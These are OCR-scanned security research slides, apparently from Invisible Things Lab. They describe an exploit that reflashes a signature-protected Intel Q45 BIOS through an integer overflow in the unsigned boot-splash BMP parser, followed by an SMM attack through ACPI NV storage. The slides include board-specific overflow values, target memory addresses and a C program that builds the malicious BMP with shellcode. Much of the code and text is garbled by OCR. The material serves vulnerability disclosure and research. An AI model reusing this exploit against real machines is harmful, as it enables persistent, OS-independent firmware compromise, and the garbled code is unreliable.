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BIOS Reflashing Background 



2 Attacking and Reflashing the Intel BIOS 



Consequences 



^ ACPI tables are stored in BIOS image, so reflash capability is 

required to alter them! 
® But most of the recent systems do not allow arbitrary 

(unsigned) reflashing... 



A Simple way to patch BIOS 




BIOS contains several checksums 

Any modification leads to an unbootable system. 

We used two techniques: 

1) Use a BIOS building tool (Pinczakko's method) 

2) Patch and compensate the 8-bit checksum 

Three easy steps: 

1) Dump BIOS using flashrom 

2) Patch and compensate 

3) Re-flash 



source: http://\w\ww.coresecurity.com/content/Persistent-Bios-lnfection 



Introduction 



* Practical approach tc generic & reliable BIOS code 
injection 



True Persistency 



Rootkit(ish) behavior 



OS independant 




source: http://www.coresecurity.com/content/Persistent-Bios-lnfection 



22.1.2 


HSFS— Hardware Sequencing Flash Status Register 
(5PI Memory Mapped Configuration Registers) 

Memory Address: 5 PI BAR + 04h Attribute: RO, R/WC, R/W 

Default Value: DDOGti £ize: 16 bits 






Bit 


Description 






15 


Flash Configuration Lock-Down (FLOCKDHl - R/WyL. Whers set to 1, those Flash 
Program Registers that are lacked down by this FLOCKDN bit cannot be written. Once 
set to 1, this bit can only be cleared by a hardware reset due to a global reset or host 
partition reset in an Intel ME enabled system. 




14 


Flash Descriptor Valid (FDV) — RO. This bit is set tn a 1 if the Flash Controller read 
the correct Flash Descriptor Signature. 

IP the Flash Descriptor Valid bit is not 1, software cannot use the Hardware Sequencing 
registers,, but must use the software sequencing registers. Any attempt to use the 
Hardware Sequenc rg registers will result in the FCERR bit being set. 




13 


Flash Descriptor Override Pin-Strap Status (FDOPSS) — RO: This register reflects 
the value the Flash Descriptor Override Pin-Strap. 
Q = The Flash Descriptor Override strap is set 
1 =■ No override 




12:6 


Reserved 




E 


SPI Cycle In Progress £SCIP)— RO. Hardware sets this bit when software sets the 
Flash Cycle Go (f GO) bit in the Hardware Sequencing Flash Control register. This bit 
remains set until the cycle completes on the SPI interface. Hardware automatically sets 
and clears this bit so that software can determine when read data is valid and/ or when 
it is safe to begin programming the next command. Software must only program the 
next command when this bit is 0. 

NOTE: This field is only applicable when in Descriptor mode and Hardware sequencing 
is being used. 


Datasheet 


77"3 





Source: intel.com 




LPC interface Bridge fleputera (DJl.FOf 



13.1.31 BIOS CNTL-BIOS Control Register 
(LPC 1/ F— D3HF0) 



Offset Address: DCh 
Default Value: OOh 
Lockable: No 



Attribute: 
Size: 
Power Well: 



R/WLO, R/W, RO 

8 bit 

Core 



Bit 


Description 


7:S 


Reserved 


4 


Top Swap 'Status (TSS> — RO. This, bit provides a read-only path to view the state of 
the Top Swap bit that is at offset 3414k bit 0. 


3:2 


SPI Read Configuration (SRC) — RfW. This 2-bit field controls, two policies related to 

BIOS reaas an the SPI interface: 

Bit 3 - Prefetch Enable 

Bit 2 = Cache Disable 

Settings are summarized below: 

Bits 3:2 Description 

No prefetching, but caching enabled. S-1B dernard reads load 
00b the read buffer cache with "valid" data, allowing repeated code 
fetches :o the sanne line to complete quickly 

No prefetching and no caching. Ore- to- one correspondence of 
01b host BIOS reads to SPI cycles. This value can be used to invalidate 
the cache. 

Prefetching and Caching enabled, This mode is used for long 
sequences of short reads to consecutive addresses (i.e.. shadowing). 

. j. Reserved. This is an invalid configuration, caching must be 
enabled when prefetching is enabled. 


1 


BIOS Lock Enable {BLEJ - R/WLO. 

- Setting the BlOSWE will not cause SMIs. 

1 = Enables setting the BlOSWE bit to cause SMIs. Once set, this bit can only be 

cleared by a PLTRSTff. 


D 


Bl OS Write Enable i Bl OS WE) - Ft/W. 

= Only read cycles result in Firmware Hub l/F cycles. 

1 = Access to the BIOS space is enabled for both read and write cycles. When this bit is 

written from a to a 1 and BIOS Lock Enable (CLE) is also set r an SMI# is 
generated. This ensures that only SMI code can update BIOS. 



Source: intel.com 



They only schedule a reflash, which itself takes place during an early 
stage of BIOS boot, when the flash locks are not applied yet 



So far there has been no public presentation about how to reflash a 
BIOS that makes use of the reflashing locks and requires digitally 

signed updates... 



^ We can (potentially) exploit some coding error in the BIOS 
code (say, buffer overflow) to get control of early BIOS 



execution... 



# Problem: early BIOS code usually takes no external [potentially 

malicious] input; 
® PXE boot code happens too late (all interesting chipset locks, 

e.g. reflashing locks, are already applied) 



...with an exception of a flash update process! It processes user 

provided data - the update! 



Attacking the Intel® BIOS 



Certificate: 
Data: 

Version: 3 (0x2) 

Serial Number: 4 (0x4) 

Signature Algorithm: shalWithRSAEncryption 

Issuer: CN=Fixed Product Certificate, OU=OPSD BIOS, 0=lntel 

Corporation, 
+L=Hillsboro, ST=OR, C=US 

Validity 

Not Before: Jan 1 00:00:00 1998 GMT 



Not After 



Dec 31 23:59:59 2035 GMT 



Subject: CN=Fixed Flashing Certificate, OU=OPSD BIOS, 0=lntel 
+Corporation, L=Hillsboro, ST=OR, C=US 

Subject Public Key Info: 

Public Key Algorithm: rsaEncryption 
RSA Public Key: (1022 bit) 
Modulus (1022 bit) : 

<snip> 
Exponent: 12173543 (0xb9c0e7) 
X509v3 extensions : 

2.16.840.1.113741.3.1.1.2.1.1.1.1: critical 

1 

Signature Algorithm: shalWithRSAEncryption 
<snip> 



There are a few PE modules inside BIO that are not packed 
with anything. One of them happens to contain a code from: 

Edk\ Sample \Univer sal \DxeIpl\Pei\DxeLoad.c, 

function PeiProcessFile( ), which is responsible for 
unpacking BIO sections. The GUID of this file is: 



86D70125-BAA3-4296-A62F-602BEBBB9081 



EFI_STATUS PeiProcessFile ( ) 
{ 

DecompressProtocol = NULL; 

switch (CompressionSection->CompressionType) { 
case EFI_STANDARD_COMPRESSION: 

Status = InstallTianoDecompress ( &DecompressProtocol) ; 

break; 

case EFI_CUSTOMIZED_COMPRESSION: 
// 

// Load user customized compression protocol. 
// 

Status = InstallCustomizedDecompress 
( (EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL **) &DecompressProtocol ) ; 
break; 



Status = DecompressProtocol->Decompress 



> Many of the BIO modules are compressed with a 
customized algorithm which is not opensourced in the 
EDK, 
S Only the standard Tiano compression algorithm is open 
sourced there. 



Edk\Foundation\Library\Pei\PeiLib 

\Decompress .c: 

EFI_STATUS InstallTianoDecompress 

EF I_T I ANO_DECOMPRE S S_PROTOCOL 
**This 



Edk\Foundation\Library\CustomizedDecompress 
\CustomizedDecompress . c 
EFI_STATUS 
InstallCustomizedDecompress ( 

EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL 
**This 



*This = &mTianoDecompress; 
return EFI SUCCESS; 



*This = &mCustomizedDecompress; 
return EFI SUCCESS; 



EFI_TIANO_DECOMPRESS_PROTOCOL 
mTianoDecompress = { 

TianoGetlnfo, 

TianoDecompress 

}; 

EFI_STATUS EFIAPI TianoDecompress ( ) 

{ 

return Decompress ( 



EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL 
mCustomizedDecompress = { 

CustomizedGetlnfo, 

CustomizedDecompress 

}; 

EFI_STATUS EFIAPI 
CustomizedDecompress ( ) 

{ 

return EFI_UNSUPPORTED; 

} 



So, we had to look at the PeiProcessFile ( ) implementation to 

locate the decompressor code... 



FFFF98CE movzx eax, [eax+EFI_ 

FFFF98D2 sub eax, 

FFFF98D5 jz EFI_UNSUPPORTE 

FFFF98DB dec eax 

FFFF98DC jz short EFI_STAN 

FFFF98DE dec eax 

FFFF98DF jnz EFI_UNSUPPORTE 

FFFF98E5 mov edi, offset mC 

FFFF98EA jmp short loc_FFFF 

FFFF98EC 

FFFF98EC EFI_STANDARD_COMPRESSION: 

FFFF98EC mov edi, offset mT 



eax, [eax+EFI_COMPRESSION_SECTION.CompressionType] 

eax, 

EFI_UNSUPPORTED 

eax 

short EFI_STANDARD_COMPRESSION 

eax 

EFI_UNSUPPORTED 

edi, offset mCustomizedDecompress 

short loc FFFF98F1 



offset mTianoDecompress 



FFFF929C mTianoDecompress dd offset Ef iTianoGetlnfo 
FFFF92A0 dd offset TianoDecompress 



FFFF92F4 mCustomizedDecompress dd offset CustomizedGetlnfo 
FFFF92F8 dd offset CustomizedDecompress 



FFFFBAE7 CustomizedDecompress proc 



FFFFBAE7 
FFFFBAE8 
FFFFBAEA 
FFFFBAED 
FFFFBAF1 
FFFFBAF2 
FFFFBAF4 
FFFFBAF7 
FFFFBAFA 
FFFFBAFC 
FFFFBAFD 



push 



cmp 

push 

jnz 



push 
lea 



ebp 

ebp, esp 

ecx, [ebp+arg_4] 

byte ptr [ecx+3], 

esi 

short loc_FFFFBB25 

eax, [ebp+arg_18] 

esi, [ebp+arg_14] 



edx, [eax+esi; 



Does not look like "return EFIJJNSUPPORTED"! ;) 



Obviously, we cannot insert arbitrary code into .BIO update, as 
the code is signed (and the signature is verified before reflash 
is allowed by the BIOS) 

But still, the update process must parse "envelope" of the 
update (firmware volume format), and perform crypto 
operations; some potential for a vulnerability here... 
(Although we don't exploit this today) 



^ Does the update contain some unsigned fragments? 
® Yes, it contains the picture with boot splash logo (which can be 
changed by e.g. an OEM) 



ill 



tel® Integrator Toolkit Framework Edition - [Q45 custom update 



File Edit View Tools Help 



d ^y 



My System 
3- BIOS Settings 
Maintenance 
■ Main 
- Advanced 

Boot Configuration 
Peripheral Configuration 
Floppy Configuration 
!-■ Drive Configuration 

Event Log Configuration 
j ■■■ Video Configuration 
■■ Fan Control 
ED- Chipset Configuration 

USB Configuration 
Security 
[+]■ Boot 

Power 
SMBIOS 
Flex Modules 



Intel® Integrator Toolkit 
Framework Edition 

I For Help, press Fl 




The BMP image that is embedded into the * BIO doesn't need to be 

signed in any way (of course) 



tiano_edk/source/Foundation/Library/Dxe/Graphics/Graphics.c: 

EFI_STATUS ConvertBmpToGopBlt ( ) 
{ 



if (BmpHeader->CharB != ' B' 
return EFI_UNSUPPORTED; 
} 



BmpHeader->CharM != 'M' ) { 



BltBuf ferSize = BmpHeader->PixelWidth * BmpHeader->PixelHeight 

* sizeof (EFI_GRAPHICS_OUTPUT_BLT_PIXEL) ; 
IsAllocated = FALSE; 
if (*GopBlt == NULL) { 

*GopBltSize = BltBuf ferSize; 

*GopBlt = EfiLibAllocatePool ( *GopBltSize) ; 



^ There is only one caller of the vulnerable function - 

EnableQuietBootEx(), which is located in the same source file 

EnableQuietBootEx() begins with a few references to protocol 
GUIDs which can help spotting the binary module 



gBS->LocateProtocol ( 

&gEf iConsoleControlProtocolGuid, 

NULL, 
(VOID**)&ConsoleControl) ; 

gBS->HandleProtocol ( 

gST->ConsoleOutHandle , 

&gEf iGraphicsOutputProtocolGuid, 

( VOID* * ) &GraphicsOutput ) ; 

gBS->HandleProtocol ( 

gST->ConsoleOutHandle , 
&gEf iUgaDrawProtocolGuid , 
( VOID** ) &UgaDraw) ; 



= gBS->LocateProtocol ( 

&gEf iOEMBadgingProtocolGuid , 

NULL, 
(VOID**)&Badging) ; 



These GUIDs are defined in the EDK. By searching for 
their values, the following (packed) file has been found: 

A6F691AC-31C8-4444-854C-E2C1A6950F92 



and it turns out it contains vulnerable 
ConvertBmpToGopBltQ implementation. 



.text: 00 000000 1000D2C9 

.text: 00000000 1000D2CD 

.text: 00000000 1000D2D0 

.text: 00000000 1000D2D3 

.text: 00000000 1000D2D6 

.text: 00000000 1000D2DC 

.text: 00000000 1000D2E0 

.text: 00000000 1000D2E6 

.text: 00000000 1000D2E9 

.text: 00 000000 1000D2ED 

.text: 00 000000 1000D2F3 

.text: 00 000000 1000D2F6 

.text:000000001000D2F9 

.text: 00000000 1000D2FC 

.text: 00 000000 1000D2FF 

.text: 00000000 1000D3 03 

( EFI_GRAPHICS_OUTPUT_BLT_PIXEL ) 

.text: 00000000 1000D3 07 

.text: 00000000 1000D30A 

.text: 00 000000 1000D30C 

.text:000000001000D30F 



imul 
shl 



rsp, 28h 

byte ptr [rex], 42h ; ' : 

rsi, r8 

rbx, rex 

loc_1000D518 

byte ptr [rcx+1], 4Dh ; 'M' 

loc_1000D518 

rl3d, rl3d 

[rcx+lEh], rl3d 

loc_1000D518 

edi, [rcx+OAh] 

rdi, rex 

ecx, [rcx+12h] ; PixelWidth 

rl2, rdi 

ecx, [rbx+16h] ; PixelHeighl 



sizeof 



call 



[r8], rl3 

short loc_1000D32B 

[r9 ] , rex 

sub_1000C6A0 ; alloc wrapper 



^ Although the source for this function is publicly available, the 

ability to unpack the .BIO update and view the actual assembly 

was crucial for the future exploitation; 
^ Particularly, e.g. GCC would produce code different to the one 

actually used 
® Also, we could retrieve the assembly for the JPEG parser and 

look for vulnerabilities there, even though its source code is 

not available inTiano SDK 



What happens if we use BMP with weird Width and Heigh? 

e.g.W=64k, H=64k+1? 



W*H*4 in 32bit arithmetics is only 

256k (and the output buffer will have 

this size); yet, the parser will try to 

write over 1 6G of data there! 



Keep in mind the BMP processing code executes at the very early 
stage of the boot, when the reflashing locks are not applied. 

(So we can reflash with any code we want!) 



IDT 



#PF handler 



GDT 



PDE/PTEs 



The for loop that 

does the buffer 

overwrite 



y 
source 



Unmapped memory 



Diagram not in scale! 



typedef struct { 

UINT8 Blue; 

UINT8 Green; 

UINT8 Red; 

UINT8 Reserved; 
} EFI_GRAPHICS_OUTPUT_BLT_PIXEL; 
EFI GRAPHICS OUTPUT BLT PIXEL *BltBuffer; 



for (Height = 0; 

Height < BmpHeader->PixelHeight; 
Height++) { 

Bit = &BltBuffer[ (BmpHeader->PixelHeight-Height-l)* 

BmpHeader->PixelWidth] ; 
for (Width = 0; Width < BmpHeader->PixelWidth; 

Width++, Image++, Blt++) { 

/* 24bit bmp case */ 

Blt->Blue = *Image++; 
Blt->Green = *Image++; 
Blt->Red = * Image; 



The write starts at: (char*) BltBuffer + 4*(W-1)*H 
We want to use it to overwrite some interesting data/code at 

this address, 
The allocation of BltBuffer must succeed, so that W*H, 

computed in 32-bits arithmetics, must be reasonably small 



# How about trying to overwrite the body of the parser itself? 
Bad news: suitable W and H do not exist :( 
^ So, inevitably, the parser will raise #PF... 



The for loop that does 
the buffer overwrite 



y 
source 




We control this 

memory via our 

overflow 



#PF exception raised 

(access to unmapped 

memory) 



Unmapped memory 



Diagram not in scale! 



W*H is small (computed in 32 bits) 

[WRITESTART=BltBuf f er+4* (W-l ) *H]<=IDT_BASE 
(computed in 64bits) 

WRITESTART+8*64k >= HIGHEST_ADDR 
(computed in 64bits) \ 



the relevant data structure 
(PDE) with highest address 



WRITESTART 

IDT 

PF_HANDLER 

PML4 

PDPTO 

PDEOlcO 

PDE0140 

PDE7b80 

PDEOOOO 

GDT38 



0x7b918994 

0x7b952018 

0x7b9540f8 

0x7b98a000 

(PML4+0xl000) 

0x7B98C070 

0x7B98C050 

0x7B98DEE0 

0x7B98C000 

0x7B958F58 



#define BMP_WIDTH 0xel92al03 
#define BMP HEIGHT 0x48a20476 



Intel DQ45, 2GB DRAM, BIOS version: CB0075 



W = 0xel92al03 
H = 0x48a20476 

(int) (W*H) = 17250 



This is the size for which 
the buffer will be allocated 



The for loop that does 
the buffer overwrite 



y 
source 



We must preserve IDT[0xe] - the #PF handler address 

We will overwrite it with a JMP to our shellcode 

We must preserve the CS entry in GDT 

We must preserve a few PTEs as well 
(e.g. the one for the stack) 



Unmapped memory 



Diagram not in scale! 



("BM" 

f shellcode J 



The first two bytes of a BMP image are: "BM" 
— luckily this resolves to two REX prefixes on 
x86_64, which allows the execution to 
smoothly reach our shellcode (just need to 
choose the first bytes of the shellcode to make 
a valid instruction together with those two 
REX prefixes). 



JMPRBXJ 



#PF handler 



main ( ) 

{ 

int i; 

e.CharB = 'B' ; 

e.CharM - 'H 1 ; 

e.CompressionType = G; 

e.ImageOffset = 54+64; 
/* Width and Height are set so that W*H (computed in 32bits) is small, 
and 4*(W-1)*H (computed in 64bits) is around pagetables */ 

|.PixelWidth = PIXELWIDTH; 

e.PixelHeiqht = PIXELHEIGHT; 

e.BitPerPixel = 4; 



// prepare idt entries, including #PF 
// as above 



e.Size=Gx74eb; // imp 9x74, to our shellcode 

memsett&e.pix, Gx9G, 4G96); 

for (i=G;i<255;i++) { 

set (IDT + i * 16, {BI0S_64CS«16)+PF_4ANDLER&Gxffff); 

set (IDT +■ i * 16 + 4, PF_HANDLER&.GxffGGGG+Gx8eGG) ; 

} 

set(PF_HANDLER, Gx9Ge3ff); // overwrite #PF handler with jmp rbx 

seiG[P^L4 1 (PDPT&&Gxffffff)+Gx21); // preserve PML4 

set8{PDPTG, E 11) * // preserve PDPT covering 9-9x3fffffff 

setBfPDPTG + 8, Gx98dG21); // preserve PDPT covering 9-9x3fffffff 

GxcGGIeB); // preserve PDE for 9x91dd291B, bmpfile 
Gx4GGle3); // preserve PDE for 9x91474c7B, parser loop 
0x800 ie3); // preserve PDE for 7b399999-7ba99999 
Gxle3); // preserve PDE for stack tit 

// preserve GDI entry for CS 9x38 
// as above 



set8{PDEGlc3 r 
set3(PDEG14D r 
sei8(PDE7b8G, 
seiBfPDEGGGG, 
sei(GDT38, Ft); 
set(GDT38+4 f Gxaf ]Q); 



write{L, &e, sizeof{e)); 
return G; 



Two (2) reboots: one to trigger update processing, 

second, after reflashing, to resume infected bios. 

It is enough to reflash only small region of a flash, so 

reflashing is quick. 

No physical access to the machine is needed! 



Looks easy, but how we got all the info about how does the BIOS 
memory map looks like? How we performed debugging? 



But what about finding offsets for different motherboards/different 

memory configurations? 



The relevant BIOS data structures (say, IDT, page tables) are 

not wiped before handing control to OS; so if OS takes care 

not to trash them, all the required offsets can be found in 

memory. 

So, we can create a small "Stub-OS", infect MBR with it, 

reboot the system, and gather the offsets. 

We have not implemented this. 



The SPI-flash chip 
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Extra socket soldered to the 

motherboard (special thanks 

to Piotr Witczak,AVT 

^ Polska) 



Intel Q45 Board 



The SPI-flash chip 



f *&& 







Where the SPI-flash is 

originally soldered in 

(normally there is no 

socket) 



EEPROM Programmer 



Still, keep in mind that our exploit is software -only! 

(This hardware was only necessary to develop the exploit) 






'Hb^ii 
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Consequences of BIOS Reflash 



SMM attack 



BIOS reflash 
attack 



reflash & 
reboot 



SMM 
compromise 



Still, we showed it is possible to bypass the firmware protection on 
one of the most secure and latest hardware 



BIOS code holds the keys to important system capabilities; 
therefore, it is important to code it safely! 




Yet-Another-On-The-Fly 
SMM Attack 



SMM attack 



BIOS reflash 
attack 



reflash & 
reboot 



SMM 
compromise 



D 2006: Loic Duflot 

(not an attack against SMM, SMM unprotected < 2006) 

D 2008: Sherri Sparks, Shawn Embleton 

(SMM rooktis, but not attacks on SMM!) 



2008: Invisible Things Lab (Memory Remapping bug in Q35 BIOS) 

2009: Invisible Things Lab (cert vu#i27284,tba) 

2009: ITL and Duflot (independently!): (Caching attacks on smm) 

(checked box means new SMM attack presented; unchecked means no attack on SMM presented) 



Note: the two previously presented SMM attacks (remapping attack, 

and caching attack) did not rely on the vulnerabilities present in the 

SMM code itself, but rather in different mechanisms, that just 

happened to allow also an access to the SMM 



We discovered it in December 2008 and used in our TXT bypassing 
attack presented at Black Hat DC in February 2009 



r TI 

se 



The latest 

security information 
on Inter products. 
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5 Advisories O Notices © Both 



Home > Security Center > 

Intel® Product Security Center 

Intel is focused on ensuring the security of our customers 
computing environments. We are committed to rapidly 
addressing issues as they arise,, and providing 
recommendations through security advisories and security 
notices. 

Subscribe to our e-mail list to receive security advisories 
and notices from Intel as soon as they are published. 



Advisories provide fixes or workarounds for vulnerabilities identified with Intel products. 



Latest Advisories 



Intel® Desktop and Intel® Server Boards Privilege Escalation 



Advanced Search 



Last Updated 



28-July-2009 



Intel Keyboard Buffer Information Disclosure Vulnerability 
Intel® Desktop and Intel® Mobile Boards Privilege Escalation 



25-August-2008 
25-August-2008 



24-January-2008 
19-January-2007 



Intel® LAN Driver Buffer Overflow Local Privilege Escalation 

Intel® Enterprise Southbridge 2 Baseboard Management Controller Denial of Service 
See all advisories > 



mov 0x407d(%rip) , %rax #TSEG+0x4608 
callq *0xl8(%rax) 



The TSEG+0x4608 locations holds a value OUTSIDE of 
SMRAM namely in ACPI NV storage, which is a DRAM 
location freely accessible by OS... 



Exploitation: overwrite ACPI NV storage memory with a pointer of 
your choice, then trigger SMI in a way that results in reaching the 

above code. 



call [ACPINV+x] 



This memory is not protected 
by the chipset! OS (and 
attacker) can modify it at will! 



http : / /invisiblethingslab . com 




INVISIBLE THINCS LAB 



